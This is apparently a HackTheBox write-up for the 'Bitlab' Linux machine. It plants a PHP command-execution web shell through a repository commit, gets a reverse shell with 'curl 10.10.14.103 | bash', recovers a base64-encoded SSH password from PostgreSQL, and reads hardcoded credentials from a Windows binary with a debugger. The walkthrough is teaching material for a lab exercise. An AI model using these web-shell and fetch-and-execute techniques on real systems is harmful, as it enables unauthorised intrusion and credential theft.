Bitlab

This is a medium difficulty Linux machine from HackTheBox created by Frey and thek. In this scenario, my IP is 10.10.14.103 and the target’s IP is 10.129.11.47

Gathering Information

This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.

Local Terminal
ping -c 1 10.129.11.47

Pinging 10.129.11.47 with 32 bytes of data:
Reply from 10.129.11.47: bytes=32 time=227ms TTL=63
Reply from 10.129.11.47: bytes=32 time=190ms TTL=63
Reply from 10.129.11.47: bytes=32 time=209ms TTL=63
Reply from 10.129.11.47: bytes=32 time=199ms TTL=63

Ping statistics for 10.129.11.47:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 190ms, Maximum = 227ms, Average = 206ms

The target respond and by the TTL we can asume that is a Linux machine (Around 63).

Local Terminal
nmap -p- --open -T5 -v -n 10.129.11.47 -oN Ports

Nmap scan report for 10.129.11.47
Host is up (0.18s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Looks like http-robot.txt is open, if there is nothing relevant at the website, we can check some urls by /http-robot.txt.

  • Browser: http://10.129.11.47/

There is no registration panel

To explore the website, try to login with simple credentials, like admin@admin, or admin@admin1234, etc (Nothing Happens). And then try to recover your password.

With this kind of answer, we can't enumerate.

Now we return to our finding.

  • Browser: http://10.129.11.47/robots.txt

Looks like we need to be logged in to get more information from these paths. But after exploring many of them, /help have interesting information.

  • Browser: http://10.129.11.47/help

Click in bookmarks.html

As you can see, in view:source at bookmarks.html, there is a Java Script command written in hexadecimal, copy it and use echo to translate.

The output it is still dirty, we need to replace every &quot by using | sed "s/&quot/'/g" at the end of the previous command.

And here, we can find some important information, like {user_login : clave} and {user_password : 11des0081x}, let's try at user login.

  • Browser: http://10.129.11.47/users/sign_in

    • Login with clave@11des0081x

We are in, it's time to explore the whole site.
At Snippets there is something interesting.

We can save this information for the future, a good practice is to copy this file and save it in your local device. After doing this, return to Projects > Your Projects > Administrator/Profile.

Here, we have to find where is project is launched, is a profile page, so it must be at http://10.129.11.47/profile/, and if you go to http://10.129.11.47/profile/developer.jpg, you can see that is directly connected, for us this is an advantage, because we are connected as developer "clave" and we can upload or create files here.

Create a new file called reverseShell.php and add the below code, after that, commit and merge the new file.

Remember to merge the edition.

  • Browser: http://10.129.11.47/profile/reverseShell.php

Ok, it is working, now we have to add a command to test it

  • Browser: http://10.129.11.47/profile/reverseShell.php?cmd=whoami

All right, now that we can execute commands as the target, we are going to follow steps to gain access to the Bash command prompt.

First, create a file called index.html.

Then open two local terminals, one to open an http server and the other one listening using the port 443

If you want to validate if you can use curl from the target, try at the browser "http://10.129.11.47/profile/reverseShell.php?cmd=which curl"

  • Browser: http://10.129.11.47/profile/reverseShell.php?cmd=curl 10.10.14.103 | bash

Now we are logged at the target machine as www-data.

Now that we are in, do an TTY Treatment.

Here, we need to be the user "clave" to see the content of the first flag. Previously, we found a postgresql file in the machine. First you must test with which psql if the system has the application, if not, you can simulate something similar with php, and it's already tested that the target have PHP.

If we follow the process by using the example from PHP: PDO, we can login to PSQL.

LogoPHP: PDO::__construct - Manualofficial_php

And we found a password, open a new terminal and translate the password with: echo "c3NoLXN0cjBuZy1wQHNz" | base64 -d; echo. The output is {ssh-str0ng-p@ss}, with this in hand, open a new terminal, translate, and then login thorough ssh.

Privileges Escalation

So first we want to gather information from the current account.

And the only interesting thing here is only the file "RemoteConnection.exe", we will download that file and then try to figure out what's going on.

From the target, encrypt the whole file in base64, copy the content and create a file at your local terminal, with the same name.

Create the file with: "echo [output] | base64 -d > RemoteConnection.exe"

If you use md5sum in both files, and the result is the same (same hash), is the same .exe file and you did the process well.

Now from our local terminal, we will analyze the executable.

To continue the scanning of the executable file, we are going to use GHidra

Move to file to the dragon.

Here, the best option to analyze the file, is seeing every function inside the folder F.

Here there is something about Putty.exe, a ssh remote connection software. And something about "ipParameters," is probably that the credentials are here. To extract it we are going to use a debugger like x32dbg.

- x32dbg: Load the file

- x32dbg: Right Click > Search for > All Modules > String References

- x32dbg: Search for "Clave", because of what we found at the code. And double click at the remoteconnection row.

- x32dbg: Press F2 in the row 00C01647 to stop the executable file until that point.

You can see the credentials in the right panel.

PreviousAragogNextCanape

Last updated